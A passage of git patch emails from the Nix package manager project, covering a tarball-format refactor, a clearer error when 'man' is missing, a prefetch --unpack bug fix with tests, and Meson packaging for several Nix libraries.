-                    if (j && state.forceBool(*j->value, j->pos, "while evaluating the attribute `recurseForDerivations`"))
-                        getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures);
+            try {
+                debug("evaluating attribute '%1%'", state.symbols[i->name]);
+                if (!std::regex_match(std::string(state.symbols[i->name]), attrRegex))
+                    continue;
+                std::string pathPrefix2 = addToPath(pathPrefix, state.symbols[i->name]);
+                if (combineChannels)
+                    getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures);
+                else if (getDerivation(state, *i->value, pathPrefix2, drvs, done, ignoreAssertionFailures)) {
+                    /* If the value of this attribute is itself a set,
+                    should we recurse into it?  => Only if it has a
+                    `recurseForDerivations = true' attribute. */
+                    if (i->value->type() == nAttrs) {
+                        auto j = i->value->attrs()->get(state.sRecurseForDerivations);
+                        if (j && state.forceBool(*j->value, j->pos, "while evaluating the attribute `recurseForDerivations`"))
+                            getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures);
+                    }
                 }
+            } catch (Error & e) {
+                e.addTrace(state.positions[i->pos], "while evaluating the attribute '%s'", state.symbols[i->name]);
+                throw;
             }
         }
     }

From e7e070d36b8f58cb48c95ae3ca6dabc0df7b79b9 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 5 Jul 2024 16:29:16 +0200
Subject: [PATCH 509/528] Document

---
 src/libutil/tarfile.cc         | 23 +++++++++++++++--------
 tests/nixos/tarball-flakes.nix |  2 +-
 2 files changed, 16 insertions(+), 9 deletions(-)

diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc
index 445968b570c..d985e5c2a2b 100644
--- a/src/libutil/tarfile.cc
+++ b/src/libutil/tarfile.cc
@@ -67,6 +67,17 @@ int getArchiveFilterCodeByName(const std::string & method)
     return code;
 }
 
+static void enableSupportedFormats(struct archive * archive)
+{
+    archive_read_support_format_tar(archive);
+    archive_read_support_format_zip(archive);
+
+    /* Enable support for empty files so we don't throw an exception
+       for empty HTTP 304 "Not modified" responses. See
+       downloadTarball(). */
+    archive_read_support_format_empty(archive);
+}
+
 TarArchive::TarArchive(Source & source, bool raw, std::optional<std::string> compression_method)
     : archive{archive_read_new()}
     , source{&source}
@@ -78,11 +89,9 @@ TarArchive::TarArchive(Source & source, bool raw, std::optional<std::string> com
         archive_read_support_filter_by_code(archive, getArchiveFilterCodeByName(*compression_method));
     }
 
-    if (!raw) {
-        archive_read_support_format_tar(archive);
-        archive_read_support_format_zip(archive);
-        archive_read_support_format_empty(archive);
-    } else {
+    if (!raw)
+        enableSupportedFormats(archive);
+    else {
         archive_read_support_format_raw(archive);
         archive_read_support_format_empty(archive);
     }
@@ -98,9 +107,7 @@ TarArchive::TarArchive(const Path & path)
     , buffer(defaultBufferSize)
 {
     archive_read_support_filter_all(archive);
-    archive_read_support_format_tar(archive);
-    archive_read_support_format_zip(archive);
-    archive_read_support_format_empty(archive);
+    enableSupportedFormats(archive);
     archive_read_set_option(archive, NULL, "mac-ext", NULL);
     check(archive_read_open_filename(archive, path.c_str(), 16384), "failed to open archive: %s");
 }
diff --git a/tests/nixos/tarball-flakes.nix b/tests/nixos/tarball-flakes.nix
index e20b853f741..3945bd8b0a6 100644
--- a/tests/nixos/tarball-flakes.nix
+++ b/tests/nixos/tarball-flakes.nix
@@ -74,7 +74,7 @@ in
     assert info["revision"] == "${nixpkgs.rev}"
     assert info["revCount"] == 1234
 
-    # Check that a 0-byte cached (304) result works.
+    # Check that a 0-byte HTTP 304 "Not modified" result works.
     machine.succeed("nix flake metadata --refresh --json http://localhost/tags/latest.tar.gz")
 
     # Check that fetching with rev/revCount/narHash succeeds.

From 6ef00a503a62dc5554139804d22968b25ba4bf3f Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Fri, 5 Jul 2024 18:32:34 +0200
Subject: [PATCH 510/528] Explain when man is missing

Have you seen this man?

Fixes #10677
---
 src/libmain/shared.cc    | 4 ++++
 tests/functional/misc.sh | 3 +++
 2 files changed, 7 insertions(+)

diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc
index c1c9362489b..fc55fe3f1b2 100644
--- a/src/libmain/shared.cc
+++ b/src/libmain/shared.cc
@@ -320,6 +320,10 @@ void showManPage(const std::string & name)
     restoreProcessContext();
     setEnv("MANPATH", settings.nixManDir.c_str());
     execlp("man", "man", name.c_str(), nullptr);
+    if (errno == ENOENT) {
+        // Not SysError because we don't want to suffix the errno, aka No such file or directory.
+        throw Error("The '%1%' command was not found, but it is needed for '%2%' and some other '%3%' commands' help text. Perhaps you could install the '%1%' command?", "man", name.c_str(), "nix-*");
+    }
     throw SysError("command 'man %1%' failed", name.c_str());
 }
 
diff --git a/tests/functional/misc.sh b/tests/functional/misc.sh
index 9eb80ad2269..7d63756b7f4 100755
--- a/tests/functional/misc.sh
+++ b/tests/functional/misc.sh
@@ -13,6 +13,9 @@ source common.sh
 # Can we ask for the version number?
 nix-env --version | grep "$version"
 
+nix_env=$(type -P nix-env)
+(PATH=""; ! $nix_env --help 2>&1 ) | grepQuiet -F "The 'man' command was not found, but it is needed for 'nix-env' and some other 'nix-*' commands' help text. Perhaps you could install the 'man' command?"
+
 # Usage errors.
 expect 1 nix-env --foo 2>&1 | grep "no operation"
 expect 1 nix-env -q --foo 2>&1 | grep "unknown flag"

From 8cea1fbd97903e58b4de780bbf428b981f196e20 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Fri, 5 Jul 2024 17:26:58 +0200
Subject: [PATCH 511/528] src/nix/prefetch: fix prefetch containing current
 directory instead of tarball

When --unpack was used the nix would add the current directory to the
nix store instead of the content of unpacked.
The reason for this is that std::distance already consumes the iterator.
To fix this we re-instantiate the directory iterator in case the
directory only contains a single entry.
---
 src/nix/prefetch.cc         | 11 ++++++-----
 tests/functional/tarball.sh | 12 ++++++++++++
 2 files changed, 18 insertions(+), 5 deletions(-)

diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index 5e890f3c8ce..55b8498ef5d 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -114,14 +114,15 @@ std::tuple<StorePath, Hash> prefetchFile(
             createDirs(unpacked);
             unpackTarfile(tmpFile.string(), unpacked);
 
+            auto entries = std::filesystem::directory_iterator{unpacked};
             /* If the archive unpacks to a single file/directory, then use
                that as the top-level. */
-            auto entries = std::filesystem::directory_iterator{unpacked};
-            auto file_count = std::distance(entries, std::filesystem::directory_iterator{});
-            if (file_count == 1)
-                tmpFile = entries->path();
-            else
+            tmpFile = entries->path();
+            unsigned fileCount = std::distance(entries, std::filesystem::directory_iterator{});
+            if (fileCount != 1) {
+                /* otherwise, use the directory itself */
                 tmpFile = unpacked;
+            }
         }
 
         Activity act(*logger, lvlChatty, actUnknown,
diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh
index a2824cd1239..f999b7a10cb 100755
--- a/tests/functional/tarball.sh
+++ b/tests/functional/tarball.sh
@@ -54,6 +54,18 @@ test_tarball() {
     # with the content-addressing
     (! nix-instantiate --eval -E "fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; name = \"foo\"; }")
 
+    store_path=$(nix store prefetch-file --json "file://$tarball" | jq -r .storePath)
+    if ! cmp -s "$store_path" "$tarball"; then
+        echo "prefetched tarball differs from original: $store_path vs $tarball" >&2
+        exit 1
+    fi
+    store_path2=$(nix store prefetch-file --json --unpack "file://$tarball" | jq -r .storePath)
+    diff_output=$(diff -r "$store_path2" "$tarroot")
+    if [ -n "$diff_output" ]; then
+        echo "prefetched tarball differs from original: $store_path2 vs $tarroot" >&2
+        echo "$diff_output"
+        exit 1
+    fi
 }
 
 test_tarball '' cat

From 05381c0b3093a0b5e091946ce2f6fa9f02b981ec Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <Mic92@users.noreply.github.com>
Date: Fri, 5 Jul 2024 19:45:03 +0200
Subject: [PATCH 512/528] Update src/nix/prefetch.cc

Co-authored-by: Eelco Dolstra <edolstra@gmail.com>
---
 src/nix/prefetch.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index 55b8498ef5d..c6e60a53be6 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -118,7 +118,7 @@ std::tuple<StorePath, Hash> prefetchFile(
             /* If the archive unpacks to a single file/directory, then use
                that as the top-level. */
             tmpFile = entries->path();
-            unsigned fileCount = std::distance(entries, std::filesystem::directory_iterator{});
+            auto fileCount = std::distance(entries, std::filesystem::directory_iterator{});
             if (fileCount != 1) {
                 /* otherwise, use the directory itself */
                 tmpFile = unpacked;

From 3acf3fc7465ed2f3e872f290fb9ca39a428b6379 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 3 Jul 2024 14:47:23 -0400
Subject: [PATCH 513/528] Package `libnixmain` and `libnixcmd` with Meson

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 meson.build                   |   2 +
 packaging/components.nix      |   4 ++
 packaging/hydra.nix           |   2 +
 src/libcmd/.version           |   1 +
 src/libcmd/meson.build        | 126 ++++++++++++++++++++++++++++++++++
 src/libcmd/meson.options      |  15 ++++
 src/libcmd/package.nix        | 112 ++++++++++++++++++++++++++++++
 src/libcmd/repl-interacter.cc |   2 +-
 src/libcmd/repl.cc            |   2 +-
 src/libmain/.version          |   1 +
 src/libmain/meson.build       |  98 ++++++++++++++++++++++++++
 src/libmain/package.nix       |  78 +++++++++++++++++++++
 12 files changed, 441 insertions(+), 2 deletions(-)
 create mode 120000 src/libcmd/.version
 create mode 100644 src/libcmd/meson.build
 create mode 100644 src/libcmd/meson.options
 create mode 100644 src/libcmd/package.nix
 create mode 120000 src/libmain/.version
 create mode 100644 src/libmain/meson.build
 create mode 100644 src/libmain/package.nix

diff --git a/meson.build b/meson.build
index 1690bb50add..356d978dc8e 100644
--- a/meson.build
+++ b/meson.build
@@ -11,6 +11,8 @@ subproject('libstore')
 subproject('libfetchers')
 subproject('libexpr')
 subproject('libflake')
+subproject('libmain')
+subproject('libcmd')
 
 # Docs
 subproject('internal-api-docs')
diff --git a/packaging/components.nix b/packaging/components.nix
index e9e95c028b7..f1cd3b9c6d3 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -28,6 +28,10 @@ in
   nix-flake = callPackage ../src/libflake/package.nix { };
   nix-flake-tests = callPackage ../tests/unit/libflake/package.nix { };
 
+  nix-main = callPackage ../src/libmain/package.nix { };
+
+  nix-cmd = callPackage ../src/libcmd/package.nix { };
+
   nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { };
   nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { };
 
diff --git a/packaging/hydra.nix b/packaging/hydra.nix
index 97f2c59b777..0bbbc31f77b 100644
--- a/packaging/hydra.nix
+++ b/packaging/hydra.nix
@@ -51,6 +51,8 @@ let
     "nix-expr-tests"
     "nix-flake"
     "nix-flake-tests"
+    "nix-main"
+    "nix-cmd"
   ];
 in
 {
diff --git a/src/libcmd/.version b/src/libcmd/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libcmd/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build
new file mode 100644
index 00000000000..d9a90508a05
--- /dev/null
+++ b/src/libcmd/meson.build
@@ -0,0 +1,126 @@
+project('nix-cmd', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+subdir('build-utils-meson/deps-lists')
+
+configdata = configuration_data()
+
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
+  dependency('nix-util'),
+  dependency('nix-store'),
+  dependency('nix-fetchers'),
+  dependency('nix-expr'),
+  dependency('nix-flake'),
+  dependency('nix-main'),
+]
+subdir('build-utils-meson/subprojects')
+
+nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
+deps_public += nlohmann_json
+
+lowdown = dependency('lowdown', version : '>= 0.9.0', required : get_option('markdown'))
+deps_private += lowdown
+configdata.set('HAVE_LOWDOWN', lowdown.found().to_int())
+
+readline_flavor = get_option('readline-flavor')
+if readline_flavor == 'editline'
+  editline = dependency('libeditline', 'editline', version : '>=1.14')
+  deps_private += editline
+elif readline_flavor == 'readline'
+  readline = dependency('readline')
+  deps_private += readline
+  configdata.set(
+    'USE_READLINE',
+    1,
+    description: 'Use readline instead of editline',
+  )
+else
+  error('illegal editline flavor', readline_flavor)
+endif
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-cmd.hh',
+)
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  # '-include', 'config-fetchers.h',
+  '-include', 'config-main.hh',
+  '-include', 'config-cmd.hh',
+  language : 'cpp',
+)
+
+subdir('build-utils-meson/diagnostics')
+
+sources = files(
+  'built-path.cc',
+  'command-installable-value.cc',
+  'command.cc',
+  'common-eval-args.cc',
+  'editor-for.cc',
+  'installable-attr-path.cc',
+  'installable-derived-path.cc',
+  'installable-flake.cc',
+  'installable-value.cc',
+  'installables.cc',
+  'legacy.cc',
+  'markdown.cc',
+  'misc-store-flags.cc',
+  'network-proxy.cc',
+  'repl-interacter.cc',
+  'repl.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+headers = [config_h] + files(
+  'built-path.hh',
+  'command-installable-value.hh',
+  'command.hh',
+  'common-eval-args.hh',
+  'editor-for.hh',
+  'installable-attr-path.hh',
+  'installable-derived-path.hh',
+  'installable-flake.hh',
+  'installable-value.hh',
+  'installables.hh',
+  'legacy.hh',
+  'markdown.hh',
+  'misc-store-flags.hh',
+  'network-proxy.hh',
+  'repl-interacter.hh',
+  'repl.hh',
+)
+
+this_library = library(
+  'nixcmd',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  prelink : true, # For C++ static initializers
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+libraries_private = []
+
+subdir('build-utils-meson/export')
diff --git a/src/libcmd/meson.options b/src/libcmd/meson.options
new file mode 100644
index 00000000000..79ae4fa5519
--- /dev/null
+++ b/src/libcmd/meson.options
@@ -0,0 +1,15 @@
+# vim: filetype=meson
+
+option(
+  'markdown',
+  type: 'feature',
+  description: 'Enable Markdown rendering in the Nix binary (requires lowdown)',
+)
+
+option(
+  'readline-flavor',
+  type : 'combo',
+  choices : ['editline', 'readline'],
+  value : 'editline',
+  description : 'Which library to use for nice line editing with the Nix language REPL',
+)
diff --git a/src/libcmd/package.nix b/src/libcmd/package.nix
new file mode 100644
index 00000000000..5e6381a17fe
--- /dev/null
+++ b/src/libcmd/package.nix
@@ -0,0 +1,112 @@
+{ lib
+, stdenv
+, mkMesonDerivation
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util
+, nix-store
+, nix-fetchers
+, nix-expr
+, nix-flake
+, nix-main
+, editline
+, readline
+, lowdown
+, nlohmann_json
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Whether to enable Markdown rendering in the Nix binary.
+, enableMarkdown ? !stdenv.hostPlatform.isWindows
+
+# Which interactive line editor library to use for Nix's repl.
+#
+# Currently supported choices are:
+#
+# - editline (default)
+# - readline
+, readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline"
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+in
+
+mkMesonDerivation (finalAttrs: {
+  pname = "nix-cmd";
+  inherit version;
+
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    ({ inherit editline readline; }.${readlineFlavor})
+  ] ++ lib.optional enableMarkdown lowdown;
+
+  propagatedBuildInputs = [
+    nix-util
+    nix-store
+    nix-fetchers
+    nix-expr
+    nix-flake
+    nix-main
+    nlohmann_json
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
+    ''
+      chmod u+w ./.version
+      echo ${version} > ../../.version
+    '';
+
+  mesonFlags = [
+    (lib.mesonEnable "markdown" enableMarkdown)
+    (lib.mesonOption "readline-flavor" readlineFlavor)
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated
+  # to work with `strictDeps`.
+  strictDeps = true;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+})
diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc
index eb4361e2562..420cce1db89 100644
--- a/src/libcmd/repl-interacter.cc
+++ b/src/libcmd/repl-interacter.cc
@@ -18,7 +18,7 @@ extern "C" {
 #include "finally.hh"
 #include "repl-interacter.hh"
 #include "file-system.hh"
-#include "libcmd/repl.hh"
+#include "repl.hh"
 
 namespace nix {
 
diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index 53dd94c7a1d..ce1c5af6997 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -3,7 +3,7 @@
 #include <cstring>
 #include <climits>
 
-#include "libcmd/repl-interacter.hh"
+#include "repl-interacter.hh"
 #include "repl.hh"
 
 #include "ansicolor.hh"
diff --git a/src/libmain/.version b/src/libmain/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libmain/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libmain/meson.build b/src/libmain/meson.build
new file mode 100644
index 00000000000..859ce22f8ba
--- /dev/null
+++ b/src/libmain/meson.build
@@ -0,0 +1,98 @@
+project('nix-main', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+subdir('build-utils-meson/deps-lists')
+
+configdata = configuration_data()
+
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
+  dependency('nix-util'),
+  dependency('nix-store'),
+]
+subdir('build-utils-meson/subprojects')
+
+
+pubsetbuf_test = '''
+#include <iostream>
+
+using namespace std;
+
+char buf[1024];
+
+int main() {
+  cerr.rdbuf()->pubsetbuf(buf, sizeof(buf));
+}
+'''
+
+configdata.set(
+  'HAVE_PUBSETBUF',
+  cxx.compiles(pubsetbuf_test).to_int(),
+  description: 'Optionally used for buffering on standard error'
+)
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-main.hh',
+)
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-main.hh',
+  language : 'cpp',
+)
+
+subdir('build-utils-meson/diagnostics')
+
+sources = files(
+  'common-args.cc',
+  'loggers.cc',
+  'progress-bar.cc',
+  'shared.cc',
+)
+
+if host_machine.system() != 'windows'
+  sources += files(
+    'unix/stack.cc',
+  )
+endif
+
+include_dirs = [include_directories('.')]
+
+headers = [config_h] + files(
+  'common-args.hh',
+  'loggers.hh',
+  'progress-bar.hh',
+  'shared.hh',
+)
+
+this_library = library(
+  'nixmain',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  prelink : true, # For C++ static initializers
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+libraries_private = []
+
+subdir('build-utils-meson/export')
diff --git a/src/libmain/package.nix b/src/libmain/package.nix
new file mode 100644
index 00000000000..8c06fd0041b
--- /dev/null
+++ b/src/libmain/package.nix
@@ -0,0 +1,78 @@
+{ lib
+, stdenv
+, mkMesonDerivation
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util
+, nix-store
+
+# Configuration Options
+
+, versionSuffix ? ""
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+in
+
+mkMesonDerivation (finalAttrs: {
+  pname = "nix-main";
+  inherit version;
+
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  propagatedBuildInputs = [
+    nix-util
+    nix-store
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
+    ''
+      chmod u+w ./.version
+      echo ${version} > ../../.version
+    '';
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated
+  # to work with `strictDeps`.
+  strictDeps = true;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+})

From b7e5446b812f44dbdce19314c84d9384fa51b5e9 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 6 Jul 2024 17:33:06 +0200
Subject: [PATCH 514/528] flake.nix: Remove unused binding

---
 flake.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/flake.nix b/flake.nix
index cfea7d38622..d83c2ecad36 100644
--- a/flake.nix
+++ b/flake.nix
@@ -25,7 +25,6 @@
 
     let
       inherit (nixpkgs) lib;
-      inherit (lib) fileset;
 
       officialRelease = false;
 

From 4d0c55ae55c0c36b8f8cf5561b10e35da543de62 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 6 Jul 2024 17:41:05 +0200
Subject: [PATCH 515/528] api docs: Use mkMesonDerivation

---
 src/external-api-docs/package.nix | 46 ++++++++++++++-----------------
 src/internal-api-docs/package.nix | 36 +++++++++++-------------
 2 files changed, 37 insertions(+), 45 deletions(-)

diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix
index 352698360c5..7fd6a988a8f 100644
--- a/src/external-api-docs/package.nix
+++ b/src/external-api-docs/package.nix
@@ -1,5 +1,5 @@
 { lib
-, stdenv
+, mkMesonDerivation
 
 , meson
 , ninja
@@ -14,27 +14,27 @@ let
   inherit (lib) fileset;
 in
 
-stdenv.mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-external-api-docs";
   version = lib.fileContents ./.version + versionSuffix;
 
-  src = fileset.toSource {
-    root = ../..;
-    fileset =
-      let
-        cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "h");
-      in
-      fileset.unions [
-        ./meson.build
-        ./doxygen.cfg.in
-        ./README.md
-        # Source is not compiled, but still must be available for Doxygen
-        # to gather comments.
-        (cpp ../libexpr-c)
-        (cpp ../libstore-c)
-        (cpp ../libutil-c)
-      ];
-  };
+  workDir = ./.;
+  fileset =
+    let
+      cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "h");
+    in
+    fileset.unions [
+      ./.version
+      ../../.version
+      ./meson.build
+      ./doxygen.cfg.in
+      ./README.md
+      # Source is not compiled, but still must be available for Doxygen
+      # to gather comments.
+      (cpp ../libexpr-c)
+      (cpp ../libstore-c)
+      (cpp ../libutil-c)
+    ];
 
   nativeBuildInputs = [
     meson
@@ -42,14 +42,10 @@ stdenv.mkDerivation (finalAttrs: {
     doxygen
   ];
 
-  postUnpack = ''
-    sourceRoot=$sourceRoot/src/external-api-docs
-  '';
-
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
     ''
-      echo ${finalAttrs.version} > .version
+      chmod u+w ./.version
+      echo ${finalAttrs.version} > ./.version
     '';
 
   postInstall = ''
diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix
index 6a3bc050155..44ddb00aba8 100644
--- a/src/internal-api-docs/package.nix
+++ b/src/internal-api-docs/package.nix
@@ -1,5 +1,5 @@
 { lib
-, stdenv
+, mkMesonDerivation
 
 , meson
 , ninja
@@ -14,22 +14,22 @@ let
   inherit (lib) fileset;
 in
 
-stdenv.mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-internal-api-docs";
   version = lib.fileContents ./.version + versionSuffix;
 
-  src = fileset.toSource {
-    root = ../..;
-    fileset = let
-      cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "hh");
-    in fileset.unions [
-      ./meson.build
-      ./doxygen.cfg.in
-      # Source is not compiled, but still must be available for Doxygen
-      # to gather comments.
-      (cpp ../.)
-    ];
-  };
+  workDir = ./.;
+  fileset = let
+    cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "hh");
+  in fileset.unions [
+    ./.version
+    ../../.version
+    ./meson.build
+    ./doxygen.cfg.in
+    # Source is not compiled, but still must be available for Doxygen
+    # to gather comments.
+    (cpp ../.)
+  ];
 
   nativeBuildInputs = [
     meson
@@ -37,14 +37,10 @@ stdenv.mkDerivation (finalAttrs: {
     doxygen
   ];
 
-  postUnpack = ''
-    sourceRoot=$sourceRoot/src/internal-api-docs
-  '';
-
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
     ''
-      echo ${finalAttrs.version} > .version
+      chmod u+w ./.version
+      echo ${finalAttrs.version} > ./.version
     '';
 
   postInstall = ''

From 4c014e238b9dd9d52c6406b8adfd5bb9b77bb0c2 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 6 Jul 2024 17:43:48 +0200
Subject: [PATCH 516/528] nix-main: Add openssl

---
 src/libmain/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/src/libmain/package.nix b/src/libmain/package.nix
index 8c06fd0041b..f6c92bac660 100644
--- a/src/libmain/package.nix
+++ b/src/libmain/package.nix
@@ -7,6 +7,8 @@
 , ninja
 , pkg-config
 
+, openssl
+
 , nix-util
 , nix-store
 
@@ -47,6 +49,7 @@ mkMesonDerivation (finalAttrs: {
   propagatedBuildInputs = [
     nix-util
     nix-store
+    openssl
   ];
 
   preConfigure =

From efd5f50f5e6ef74e1db77101d9d73a3d3ebf3e84 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 6 Jul 2024 17:47:11 +0200
Subject: [PATCH 517/528] nix-perl: Add deps, use mkMesonDerivation

---
 src/perl/package.nix | 34 +++++++++++++++++++++-------------
 1 file changed, 21 insertions(+), 13 deletions(-)

diff --git a/src/perl/package.nix b/src/perl/package.nix
index 6b84871487c..08ceaa33e68 100644
--- a/src/perl/package.nix
+++ b/src/perl/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , perl
 , perlPackages
 , meson
@@ -8,38 +9,44 @@
 , nix-store
 , darwin
 , versionSuffix ? ""
+, curl
+, bzip2
+, libsodium
 }:
 
 let
   inherit (lib) fileset;
 in
 
-perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
+perl.pkgs.toPerlModule (mkMesonDerivation (finalAttrs: {
   pname = "nix-perl";
   version = lib.fileContents ./.version + versionSuffix;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions ([
-      ./MANIFEST
-      ./lib
-      ./meson.build
-      ./meson.options
-    ] ++ lib.optionals finalAttrs.doCheck [
-      ./.yath.rc.in
-      ./t
-    ]);
-  };
+  workDir = ./.;
+  fileset = fileset.unions ([
+    ./.version
+    ../../.version
+    ./MANIFEST
+    ./lib
+    ./meson.build
+    ./meson.options
+  ] ++ lib.optionals finalAttrs.doCheck [
+    ./.yath.rc.in
+    ./t
+  ]);
 
   nativeBuildInputs = [
     meson
     ninja
     pkg-config
     perl
+    curl
   ];
 
   buildInputs = [
     nix-store
+    bzip2
+    libsodium
   ];
 
   # `perlPackages.Test2Harness` is marked broken for Darwin
@@ -52,6 +59,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
   preConfigure =
     # "Inline" .version so its not a symlink, and includes the suffix
     ''
